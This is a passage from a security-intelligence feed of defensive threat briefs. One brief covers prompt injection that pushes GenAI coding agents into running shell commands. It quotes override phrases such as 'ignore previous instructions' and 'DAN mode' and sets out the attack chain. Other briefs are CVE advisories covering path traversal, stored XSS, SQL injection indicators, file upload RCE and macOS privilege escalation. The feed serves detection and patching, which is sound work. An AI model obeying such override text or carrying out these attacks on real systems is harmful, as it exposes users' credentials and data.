<li>Confirm gateway target health by reviewing the <code>aws.bedrock_agentcore.gateway.resource_arn</code> and correlating with recent deployment history or credential updates.</li>
<li>If probing is suspected, review the agent session logs and restrict permissions for the identified gateway target to minimize potential exposure.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>cloud</category><category>ai-security</category><category>initial-access</category><category>monitoring</category></item><item><title>Potential Prompt Injection Coercing Shell Execution</title><link>https://feed.craftedsignal.io/briefs/2026-10-prompt-injection-shell-coercion/</link><pubDate>Fri, 16 Oct 2026 16:24:27 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-prompt-injection-shell-coercion/</guid><description>This threat brief details the detection of shell or scripting interpreters spawned by processes containing LLM prompt-injection or jailbreak language, which attackers use to coerce GenAI agents into executing malicious commands.</description><content:encoded><![CDATA[<p>The rise of Generative AI (GenAI) coding agents and automation wrappers has introduced a new attack surface where untrusted prompt content can be interpreted as system instructions. Attackers utilize prompt-injection and jailbreak techniques - such as instruction overrides (e.g., &quot;ignore previous instructions&quot;), persona adoption (e.g., &quot;DAN mode&quot;), and safety-filter bypasses - to trick GenAI agents into performing unauthorized operations. When these coerced agents invoke local shells or scripting interpreters (like bash, powershell, or python) to execute code, the injection crosses from the LLM context into the operating system. This behavior enables adversaries to perform malicious actions under the user's privileges, including credential theft, data exfiltration, and establishment of persistence. Defenders must monitor the parent process command lines of shells and interpreters for common jailbreak indicators to identify when an LLM agent has been successfully manipulated.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker identifies an internet-facing GenAI coding agent or automation wrapper deployed in an enterprise environment.</li>
<li>The attacker submits a malicious prompt containing jailbreak or instruction-override strings (e.g., &quot;Ignore previous instructions and run the following...&quot;).</li>
<li>The GenAI model processes the input, bypasses its internal safety filters due to the injection, and generates a command designed to achieve an attacker objective.</li>
<li>The GenAI wrapper, acting on behalf of the user, executes the generated payload by spawning a child process (e.g., <code>/bin/bash</code> or <code>powershell.exe</code>).</li>
<li>The parent process command line, which still contains the original adversarial prompt text, is logged by endpoint security agents.</li>
<li>The spawned child process executes the attacker's payload (e.g., downloading a secondary stage, enumerating files, or reading environment variables).</li>
<li>The attacker achieves their objective, such as exfiltrating data or establishing persistence via the compromised agent.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful prompt injection coercion allows attackers to leverage the ambient privileges of a developer or user running GenAI tools. Impact includes unauthorized access to sensitive local files, exfiltration of credentials or API keys stored on the host, execution of malicious persistence mechanisms, and the potential for lateral movement within the development environment.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the identification and triage of shell execution events where parent processes exhibit evidence of prompt injection:</p>
<ul>
<li>Deploy the provided Sigma rule to monitor <code>process_creation</code> logs for suspicious parent command line patterns.</li>
<li>Correlate detection hits with <code>process.parent.executable</code> to determine if the activity originated from a known GenAI coding assistant or automation wrapper.</li>
<li>Audit and restrict the permissions assigned to GenAI agents and Model Context Protocol (MCP) servers to the minimum necessary for their function.</li>
<li>Isolate sessions and rotate credentials for any user account associated with a confirmed successful injection and unauthorized code execution.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>llm-security</category><category>prompt-injection</category><category>execution</category><category>genai</category><category>defense-evasion</category></item><item><title>Detection of Unauthorized Model Context Protocol Tool Usage in ChatGPT Enterprise</title><link>https://feed.craftedsignal.io/briefs/2026-10-openai-codex-mcp/</link><pubDate>Fri, 16 Oct 2026 16:21:37 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-openai-codex-mcp/</guid><description>This threat brief details the potential for unauthorized data collection via Model Context Protocol (MCP) tools within OpenAI ChatGPT Enterprise, where attackers may leverage new or unusual connectors to exfiltrate organizational data from internal repositories.</description><content:encoded><![CDATA[<p>Organizations utilizing OpenAI ChatGPT Enterprise are susceptible to data collection risks stemming from the misuse of Model Context Protocol (MCP) tools. MCP connectors enable AI agents to interact with external systems, such as source code repositories, collaboration platforms, and internal ticketing systems. If an attacker gains access to a user's session or leverages an unauthorized user account, they may configure or invoke malicious or unintended MCP tools to pull sensitive organizational data into the chat context for exfiltration.</p>
<p>Defenders must differentiate between sanctioned engineering automation and anomalous behavior. The primary indicator of potential risk is the introduction of a &quot;first-seen&quot; tool, connector, or resource access pattern by a user within the enterprise environment. Monitoring these transitions allows security operations teams to identify when an actor begins querying an internal resource they have not previously interacted with, which is a key indicator of internal reconnaissance or exfiltration.</p>
<h2 id="impact">Impact</h2>
<p>The unauthorized use of MCP tools can lead to the exposure and exfiltration of sensitive corporate data stored in connected enterprise repositories. If an agent session is compromised or if an insider actor leverages these integrations, proprietary source code, internal communication logs, and sensitive customer or infrastructure metadata can be systematically pulled into an external AI session, potentially bypassing standard data loss prevention (DLP) controls.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Detection engineering teams should focus on identifying the introduction of new organizational/user/tool combinations.</p>
<ul>
<li>Implement monitoring for the 'app_mcp_call' event action within OpenAI ChatGPT Enterprise audit logs.</li>
<li>Establish a baseline of approved MCP connectors and tool names; alert on any tool call that does not match an entry in the organization's approved inventory.</li>
<li>Review session logs associated with a 'first-seen' tool call for indicators of prompt injection, retrieval of sensitive data, or unusual volumes of data being pulled from resource IDs.</li>
<li>Treat sessions involving unapproved MCP connectors as potential data exposure incidents; initiate an immediate review of the session history to identify the extent of information retrieved.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>genai</category><category>cloud</category><category>collection</category><category>ueba</category></item><item><title>Detection of Anomalous and Repeated High-Risk Activity in Cisco AI Defense</title><link>https://feed.craftedsignal.io/briefs/2026-10-cisco-ai-defense-abuse/</link><pubDate>Fri, 16 Oct 2026 16:21:27 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cisco-ai-defense-abuse/</guid><description>Cisco AI Defense alerts indicate potential iterative prompt injection or unauthorized data exfiltration attempts against generative AI applications, characterized by bursts of high-risk guardrail violations.</description><content:encoded><![CDATA[<p>This detection brief addresses the abuse of generative AI systems, where adversaries or unauthorized users attempt to bypass guardrails to extract sensitive information or execute unauthorized code. Monitoring Cisco AI Defense telemetry allows security operations teams to identify anomalous behavior patterns, such as iterative probing or automated exploitation attempts against AI-enabled business applications.</p>
<p>The core indicator of malicious intent is the frequency and diversity of guardrail violations. The detection logic focuses on bursts of five or more distinct guardrail event IDs, or three or more occurrences of the same event ID, within a ten-minute window. These thresholds distinguish between sporadic, accidental triggers and deliberate, repeated efforts to probe for weaknesses in AI policy enforcement (e.g., bypassing PII or PCI data protection rules). Monitoring these patterns is critical for early detection of AI-integrated application misuse before data exfiltration or system compromise occurs.</p>
<h2 id="impact">Impact</h2>
<p>Successful abuse of generative AI applications can lead to the unauthorized disclosure of PII or PCI data, the execution of malicious code via prompt injection, or the bypass of corporate security policies. This threat specifically targets enterprise AI deployments, potentially resulting in data breaches, regulatory non-compliance, and compromise of the underlying AI application's integrity.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritize the implementation of security monitoring for AI-integrated infrastructure to ensure visibility into guardrail bypass attempts.</p>
<ul>
<li>Deploy the provided detection logic to ingest and analyze Cisco AI Defense alerts via the Cisco Security Cloud app in Splunk.</li>
<li>Enable field extraction for 'genai_application.application_name', 'connection.connection_name', and policy guardrail associations to ensure the detection accurately attributes activity to specific applications.</li>
<li>Tune the event thresholds (five distinct events or three same-ID events within ten minutes) to reduce noise from legitimate development or automated QA testing environments.</li>
<li>Establish an incident response workflow to review flagged application keys for iterative probing patterns, particularly those originating from unauthorized internal or external users.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>ai-security</category><category>application-security</category><category>genai</category><category>detection</category></item><item><title>Exposure of Sensitive Information via Cisco AI Defense</title><link>https://feed.craftedsignal.io/briefs/2026-10-cisco-ai-defense-pii-pci-exposure/</link><pubDate>Fri, 16 Oct 2026 16:21:19 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cisco-ai-defense-pii-pci-exposure/</guid><description>Cisco AI Defense alerts indicate that generative AI applications have bypassed privacy guardrails, resulting in the exposure of personally identifiable information or payment card information in allowed responses.</description><content:encoded><![CDATA[<p>Cisco AI Defense logs indicate instances where generative AI applications allowed responses containing sensitive data, specifically personally identifiable information (PII) or payment card information (PCI), that should have been blocked by established privacy guardrails. These events occur when an AI interaction is permitted despite matching defined sensitive entity policies. Such occurrences may stem from misconfigured security policies, overly permissive guardrails, or attempts to manipulate AI models to disclose sensitive data. Defenders must treat these events as potential data leaks and conduct prompt reviews of the AI application context, the policy applied, and the nature of the data returned to determine if the disclosure was accidental, the result of testing, or an indicator of abuse of the organization's GenAI infrastructure.</p>
<h2 id="impact">Impact</h2>
<p>Successful exposure of PII or PCI data can lead to regulatory non-compliance, financial loss, and privacy violations. Organizations relying on Cisco AI Defense to secure GenAI workflows face increased risk if guardrail enforcement fails, potentially resulting in the unauthorized disclosure of sensitive data to end-users.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Implement the detection logic in your SIEM to monitor for allowed AI responses containing PII or PCI entity types.</li>
<li>Review the application owner and response context for all alerts generated by Cisco AI Defense where event_action is &quot;allow&quot; and matched guardrails include &quot;PII&quot; or &quot;PCI&quot;.</li>
<li>Audit existing Cisco AI Defense policy associations and guardrail configurations to ensure that sensitive entity detection is correctly scoped and enforced for high-risk applications.</li>
<li>Investigate any recurring alerts to distinguish between authorized testing and potential misuse of the GenAI system.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category><category>data-protection</category><category>genai-security</category><category>cloud-security</category><category>data-exfiltration</category></item><item><title>Apache Camel FTP Component Path Traversal Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2026-10-camel-ftp-traversal/</link><pubDate>Fri, 16 Oct 2026 13:33:53 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-camel-ftp-traversal/</guid><description>Apache Camel's camel-ftp component contains a path traversal vulnerability (CVE-2026-79983) allowing unauthorized file operations outside the intended directory via malicious server-supplied file listings.</description><content:encoded><![CDATA[<p>Apache Camel, specifically the <code>camel-ftp</code> component, is vulnerable to a path traversal issue (CVE-2026-79983) that allows an attacker to read, rename, or delete files outside of the defined polled directory. The vulnerability arises because remote-file consumers construct absolute paths by concatenating the configured polling directory with the file name reported in the server directory listing without sufficient validation or lexical normalization.</p>
<p>Because the FTP control channel lacks inherent integrity protection, an attacker performing a man-in-the-middle attack or an attacker controlling a malicious or multi-tenant FTP server can inject crafted file names containing directory traversal sequences such as 'd/../../'. If the service is configured with options like 'delete=true', 'move', 'preMove', or 'readLock=rename', the vulnerable consumer may perform these actions on unauthorized files using the credentials of the Camel service itself. The vulnerability affects Camel versions 4.0.0 through 4.18.4 and 4.19.0 through 4.22.0.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for unauthorized file access, including reading sensitive system files or deleting/renaming files on the filesystem accessible to the Camel service. In environments where the service account has elevated privileges, this could result in significant data exfiltration or service disruption. The risk is particularly high for implementations using cleartext FTP or those connecting to untrusted or multi-tenant remote FTP servers.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Apache Camel to version 4.18.5, 4.22.1, 4.23.0, or later to incorporate the fix for CVE-2026-79983.</li>
<li>If immediate patching is not feasible, migrate from insecure FTP to SFTP or FTPS to ensure transport integrity and verify host certificates to prevent MITM-based listing manipulation.</li>
<li>Implement strict filters on file consumers using 'antInclude' or 'include' options to restrict processing to expected file name patterns.</li>
<li>Restrict the permissions of the FTP service account to only the specific directory intended for polling to minimize the scope of potential traversal.</li>
<li>Monitor application logs for files being processed that appear to resolve outside of the intended root directory, which may indicate exploitation attempts.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>camel-ftp</category><category>path-traversal</category><category>cve-2026-79983</category><category>apache-camel</category></item><item><title>Stored Cross-Site Scripting in WP Sessions Time Monitoring Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-wp-sessions-xss/</link><pubDate>Fri, 16 Oct 2026 12:26:22 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-wp-sessions-xss/</guid><description>The WP Sessions Time Monitoring Full Automatic WordPress plugin up to version 1.1.5 is vulnerable to stored XSS via multiple input parameters, allowing unauthenticated attackers to execute arbitrary scripts in the context of user sessions.</description><content:encoded><![CDATA[<p>The WP Sessions Time Monitoring Full Automatic plugin for WordPress (all versions up to and including 1.1.5) contains a critical security flaw involving insufficient input sanitization and output escaping. This vulnerability allows an unauthenticated attacker to perform Stored Cross-Site Scripting (XSS) attacks by injecting malicious JavaScript via various input parameters, including 'action', 'function', 'plugin', 'post_type', 'post_status', 'ids', 'loggedout', and 'post_title'.</p>
<p>When an administrative user or a logged-in user views a page where the attacker has successfully stored this malicious script, the code executes within the victim's browser session. This can lead to unauthorized account actions, session hijacking, or the defacement of the affected WordPress site. Because the vulnerability is exploitable by unauthenticated attackers, it represents a significant risk to site integrity and administrative session security.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An unauthenticated attacker identifies a target WordPress site running the WP Sessions Time Monitoring Full Automatic plugin version 1.1.5 or earlier.</li>
<li>The attacker crafts a malicious HTTP POST or GET request targeting the vulnerable endpoints within the plugin.</li>
<li>The attacker injects a persistent JavaScript payload into one of the susceptible parameters: 'action', 'function', 'plugin', 'post_type', 'post_status', 'ids', 'loggedout', or 'post_title'.</li>
<li>The plugin fails to sanitize the input and stores the script directly into the WordPress database.</li>
<li>The attacker waits for an authenticated administrator or user to navigate to the specific page or dashboard area that renders the malicious entry.</li>
<li>The victim's browser retrieves the stored payload from the database and executes the JavaScript in the context of the active session.</li>
<li>The script performs unauthorized actions on behalf of the victim or exfiltrates session cookies to an attacker-controlled server.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary web scripts in the browser of site administrators. This can lead to full administrative account takeover, modification of site content, installation of additional backdoors via the WordPress admin panel, or theft of sensitive user data. As of the report date, all installations using version 1.1.5 or earlier are considered vulnerable.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the &quot;WP Sessions Time Monitoring Full Automatic&quot; plugin to the latest version, ensuring the patch is applied for CVE-2026-107648.</li>
<li>Monitor web server access logs for anomalous POST requests containing script-related characters such as <code>&lt;script</code>, <code>onerror=</code>, or <code>onload=</code> within the identified vulnerable parameters.</li>
<li>Implement a Content Security Policy (CSP) to restrict the execution of inline scripts and mitigate the impact of stored XSS vulnerabilities.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>wordpress</category><category>xss</category></item><item><title>Heap-Based Buffer Overflow in spice-server GLZ Encoder</title><link>https://feed.craftedsignal.io/briefs/2026-10-spice-server-heap-overflow/</link><pubDate>Fri, 16 Oct 2026 12:26:15 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-spice-server-heap-overflow/</guid><description>An authenticated attacker can trigger a heap-based buffer overflow in spice-server during VM live migration by exploiting an integer truncation vulnerability in the GLZ encoder dictionary restore path.</description><content:encoded><![CDATA[<p>A critical integer truncation vulnerability (CVE-2026-105959) exists in the spice-server, specifically within the GLZ encoder dictionary restore path. The flaw occurs when a size_t allocation size is incorrectly truncated to an int when calling the memory allocation callback. An authenticated attacker acting as a SPICE client can leverage this vulnerability during the live migration of a virtual machine. By submitting a crafted max_encoders value in the migration data, the attacker forces the application to allocate an insufficient amount of memory, resulting in a heap buffer overflow. If successful, this attack could lead to arbitrary code execution within the context of the SPICE server process or induce a denial of service by crashing the virtual machine environment.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability affects instances using spice-server, common in virtualization environments that provide remote display access to virtual machines. Successful exploitation allows an authenticated client to compromise the underlying virtualization host or service process. This presents a high risk for cloud providers, data centers, and enterprise environments managing virtualized infrastructure, potentially leading to cross-VM data access or service disruption.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor virtual machine migration logs for abnormal SPICE protocol traffic.</li>
<li>Patch the spice-server component to the latest available vendor release addressing CVE-2026-105959.</li>
<li>Review access controls for SPICE protocol endpoints to ensure only authorized clients can initiate or interact with VM migration sessions.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>CVE-2023-42931 Privilege Escalation in macOS diskutil</title><link>https://feed.craftedsignal.io/briefs/2026-10-macos-privesc/</link><pubDate>Fri, 16 Oct 2026 10:33:12 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-macos-privesc/</guid><description>A local privilege escalation vulnerability in the macOS diskutil utility allows unprivileged users to gain root access via manipulated filesystem mounting.</description><content:encoded><![CDATA[<p>CVE-2023-42931 is a local privilege escalation vulnerability affecting multiple versions of macOS, including Monterey, Ventura, and Sonoma. The vulnerability resides in the 'diskutil' command-line utility, which fails to properly restrict filesystem mounting options when invoked by unprivileged users. An attacker can leverage this flaw to gain full root control of the host system. The vulnerability was publicly disclosed alongside a functional proof-of-concept exploit that automates the exploitation process. The exploit targets how 'diskutil' manages filesystem permissions, allowing for the deployment and execution of setuid binaries. Given the availability of this exploit code, unpatched systems are at significant risk of unauthorized administrative access.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The unprivileged attacker initiates the exploit script on a local macOS endpoint.</li>
<li>The script interacts with the 'diskutil' utility to trigger a filesystem mount operation.</li>
<li>The attacker provides crafted filesystem options to 'diskutil' to bypass existing security restrictions.</li>
<li>The script creates a malicious setuid shell payload.</li>
<li>The payload is moved to a target placeholder file on the mounted filesystem.</li>
<li>The script uses 'diskutil' or system utilities to explicitly set the setuid bit on the malicious binary.</li>
<li>The attacker executes the setuid binary to execute code with root privileges.</li>
<li>The final objective is the acquisition of a root shell for full system control and persistence.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2023-42931 results in a full local privilege escalation, granting the attacker root privileges on the compromised macOS device. This provides the actor with unrestricted access to sensitive user data, system configuration, and the ability to disable security controls or maintain persistent access. The vulnerability affects macOS versions prior to 12.7.2, 13.6.3, and 14.2.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Prioritize updating all macOS endpoints to versions 12.7.2, 13.6.3, 14.2 or later to patch CVE-2023-42931.</li>
<li>Monitor process execution logs for suspicious usage of 'diskutil' in combination with setuid or chmod commands by non-administrative users.</li>
<li>Review audit logs for instances where non-privileged accounts successfully elevate to root (uid 0) using unauthorized binaries.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>privilege-escalation</category><category>macos</category><category>local-exploitation</category></item><item><title>Stored XSS Vulnerability in GoSMTP Pro for WordPress</title><link>https://feed.craftedsignal.io/briefs/2026-10-gosmtp-xss/</link><pubDate>Fri, 16 Oct 2026 10:26:16 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-gosmtp-xss/</guid><description>An unauthenticated stored XSS vulnerability in GoSMTP Pro (&lt;= 1.2.3) allows attackers to inject arbitrary web scripts via email log body content.</description><content:encoded><![CDATA[<p>The GoSMTP Pro plugin for WordPress is affected by a stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-96768, which affects all versions up to and including 1.2.3. The flaw exists due to insufficient input sanitization and output escaping when processing email log body content. An unauthenticated attacker can exploit this by crafting a malicious payload that bypasses WordPress's standard moderation filters, as the plugin incorrectly handles entity-encoded tag delimiters.</p>
<p>When the payload is processed, it is written verbatim into the plugin's email log database table. The malicious script executes in the browser of any user - typically an administrator - who views the email log via the WordPress dashboard. Because the payload passes initial moderation checks as safe text before being decoded, this vulnerability presents a significant risk for session hijacking or unauthorized administrative actions. Defenders should prioritize patching or disabling the plugin until an update is applied.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability enables unauthenticated attackers to execute arbitrary JavaScript in the context of an authenticated user's session. If successful, this can lead to full account takeover of administrative accounts, unauthorized configuration changes, or the injection of additional malicious content within the WordPress environment. This vulnerability affects all installations of GoSMTP Pro version 1.2.3 and below.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately disable the GoSMTP Pro plugin until a patch is available or upgrade to a version remediating CVE-2026-96768.</li>
<li>Audit WordPress administrative dashboard access logs for suspicious activity targeting email log views.</li>
<li>Implement or strengthen Content Security Policy (CSP) headers to restrict the execution of unauthorized scripts in the WordPress dashboard.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>SQL Injection in Vitepos POS for WooCommerce</title><link>https://feed.craftedsignal.io/briefs/2026-10-vitepos-sqli/</link><pubDate>Fri, 16 Oct 2026 10:26:10 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-vitepos-sqli/</guid><description>The Vitepos plugin for WooCommerce is vulnerable to unauthenticated SQL injection via the 'src_by' parameter, potentially allowing unauthorized database information extraction.</description><content:encoded><![CDATA[<p>The Vitepos - Point of Sale (POS) for WooCommerce plugin for WordPress (versions up to and including 3.5.1) contains a critical SQL injection vulnerability identified as CVE-2026-92766. The flaw exists within the /vitepos/v1/vendor/list REST API route, specifically via the 'src_by' parameter. The vulnerability arises from improper input sanitization and a failure to utilize prepared statements when constructing database queries. Furthermore, the permission callback for the vulnerable REST route is insufficient, requiring only a basic POS role assignment (such as vtpos-cashier) rather than standard WordPress administrative privileges. This combination allows unauthenticated or low-privileged users to manipulate back-end database queries, posing a significant risk of data exfiltration or unauthorized database access.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability permits an attacker to perform SQL injection attacks against the underlying WordPress database. This could result in the unauthorized disclosure of sensitive data, including customer information, credentials, or internal configuration data managed by the WooCommerce store. The impact is significant for organizations relying on this plugin for POS operations, as the affected endpoint is publicly reachable by default.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Patch immediately by updating the Vitepos - Point of Sale (POS) for WooCommerce plugin to the latest version that addresses CVE-2026-92766.</li>
<li>Review access logs for web requests targeting the /vitepos/v1/vendor/list endpoint that include suspicious characters (e.g., ;, --, OR, UNION) in the 'src_by' parameter.</li>
<li>Restrict access to the WooCommerce REST API for non-administrative roles until the plugin has been patched.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-application-vulnerability</category><category>sqli</category><category>wordpress</category></item><item><title>Account Footprinting via Observable Response Discrepancy in Ikas E-Commerce Infrastructure</title><link>https://feed.craftedsignal.io/briefs/2026-10-ikas-account-footprinting/</link><pubDate>Fri, 16 Oct 2026 10:26:03 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-ikas-account-footprinting/</guid><description>An observable response discrepancy vulnerability (CVE-2026-14177) in Ikas E-Commerce Infrastructure allows unauthorized actors to perform account footprinting by analyzing varying platform responses.</description><content:encoded><![CDATA[<p>CVE-2026-14177 describes an observable response discrepancy vulnerability affecting the Ikas E-Commerce Infrastructure platform. This vulnerability allows for account footprinting, a reconnaissance technique where an attacker can determine the existence or validity of specific user accounts by observing differences in application response behavior (e.g., timing, HTTP status codes, or error message variations). The issue impacts all versions of the Ikas E-Commerce Infrastructure released through July 13, 2026. Because this flaw facilitates the systematic collection of intelligence regarding user accounts, it poses a significant risk for targeted phishing, credential stuffing, or further exploitation of authenticated sessions. Defenders should prioritize auditing authentication endpoints for side-channel information leaks that differentiate valid from invalid user identifiers.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation enables attackers to map the user base of a merchant's e-commerce storefront, providing a list of valid accounts that can be targeted for credential stuffing or social engineering. This reconnaissance capability degrades the security posture of all shops hosted on the Ikas platform, potentially leading to unauthorized account access and data exfiltration.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Audit application logs for spikes in requests to login or password reset endpoints that result in varied response times or differing HTTP status codes, as these are indicative of account footprinting.</li>
<li>Standardize error responses across all authentication and recovery endpoints to ensure valid and invalid account attempts produce identical responses, preventing information leakage.</li>
<li>Coordinate with Ikas Technology Inc. support to verify if the vendor has provided a patch or configuration mitigation for the environment, as this affects instances deployed through July 13, 2026.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>reconnaissance</category><category>web-application</category><category>vulnerability</category></item><item><title>Arbitrary File Upload in DoubleScale CRM Plugin for WordPress</title><link>https://feed.craftedsignal.io/briefs/2026-10-doublescale-crm-rce/</link><pubDate>Fri, 16 Oct 2026 10:25:56 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-doublescale-crm-rce/</guid><description>An arbitrary file upload vulnerability in the DoubleScale CRM plugin for WordPress up to version 1.5.1 allows authenticated subscribers to achieve remote code execution when the Helpdesk module is enabled.</description><content:encoded><![CDATA[<p>The DoubleScale CRM plugin for WordPress, in versions up to and including 1.5.1, contains a critical arbitrary file upload vulnerability. The flaw exists within the store_upload function, which is exposed via a REST API endpoint registered only when the Helpdesk module is active. The root cause is a flawed extension validation mechanism in the extension_is_allowed function. This function incorrectly validates files by relying on wp_check_filetype, which can return an empty type for unrecognized extensions such as .php, and subsequently failing open. Because the vulnerability only requires a low-privilege (subscriber) account and lacks sufficient capability checks, an attacker can upload arbitrary executable files to the web server, resulting in remote code execution (RCE). This vulnerability is tracked as CVE-2026-111311.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-111311 allows an authenticated attacker with at least subscriber-level permissions to execute arbitrary code on the underlying server. This could lead to a complete site compromise, data exfiltration, or lateral movement within the hosting environment. WordPress installations using the DoubleScale plugin with the Helpdesk module enabled are at high risk.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Immediately update the DoubleScale CRM plugin to a version addressing CVE-2026-111311.</li>
<li>Disable the Helpdesk module if it is not required for business operations to mitigate the attack surface for this vulnerability.</li>
<li>Audit user roles and permissions to ensure that subscriber accounts are limited to necessary functions only.</li>
<li>Monitor web server logs for POST requests to REST endpoints associated with the DoubleScale CRM plugin, particularly those resulting in file creation within the WordPress uploads directory.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>wordpress</category><category>plugin</category><category>rce</category><category>file-upload</category><category>cve-2026-111311</category></item><item><title>Stored Cross-Site Scripting in SureCart WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-surecart-xss/</link><pubDate>Fri, 16 Oct 2026 10:25:49 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-surecart-xss/</guid><description>The SureCart plugin for WordPress (&lt;= 4.9.4) is vulnerable to Stored Cross-Site Scripting (XSS) via the comment parameter, allowing unauthenticated attackers to execute arbitrary scripts in the context of victims viewing specific e-commerce pages.</description><content:encoded><![CDATA[<p>The SureCart plugin for WordPress (up to and including version 4.9.4) contains a critical Stored Cross-Site Scripting (XSS) vulnerability, identified as CVE-2026-109224. The vulnerability stems from insufficient input sanitization and output escaping on the 'comment' parameter. An unauthenticated attacker can supply a crafted malicious script payload within a comment field. The script becomes stored in the WordPress database and subsequently executes in the browser of any authenticated or unauthenticated user who visits a page containing the [sc_buy_button] shortcode. Execution is dependent on specific client-side conditions where the page does not contain an 'sc-checkout' element, which triggers an insecure innerHTML sink within the plugin's 'sc-cart-loader' component. This vulnerability poses a significant risk for session hijacking, unauthorized actions on behalf of administrators, or the injection of malicious content into e-commerce storefronts.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of a victim's browser. If the victim is an administrator, this can lead to full site compromise, unauthorized configuration changes, or the creation of new administrative accounts. The vulnerability affects any WordPress installation utilizing the SureCart plugin version 4.9.4 or earlier.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Update the SureCart WordPress plugin to the version containing the security fix (if available, consult the vendor for patches beyond 4.9.4). Monitor web server logs for HTTP POST requests directed at comment submission endpoints that contain script tags or suspicious JavaScript patterns, as these may indicate attempts to inject payloads into the database. Implement strict Content Security Policy (CSP) headers to mitigate the impact of XSS payloads by restricting the execution of inline scripts and unauthorized external resources.</p>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Stored XSS in User Registration PRO WordPress Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2026-87111/</link><pubDate>Fri, 16 Oct 2026 08:26:11 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2026-87111/</guid><description>An unauthenticated stored cross-site scripting vulnerability in the User Registration PRO premium WordPress plugin allows attackers to inject malicious scripts via the HTTP Referer header.</description><content:encoded><![CDATA[<p>The premium version of the User Registration PRO WordPress plugin (versions 6.2.9 and earlier) is vulnerable to stored cross-site scripting (XSS). The vulnerability stems from insufficient sanitization and escaping of the HTTP Referer header before it is processed and stored by the plugin. Because the nonce required to interact with the vulnerable AJAX endpoint is exposed in the source code of front-end pages, unauthenticated attackers can successfully conduct this attack. When an administrator or another user views the page where the malicious script was stored, the script executes within the context of their session, potentially leading to unauthorized actions or account compromise. This vulnerability is specific to the premium build of the plugin and does not affect the free version distributed via WordPress.org.</p>
<h2 id="impact">Impact</h2>
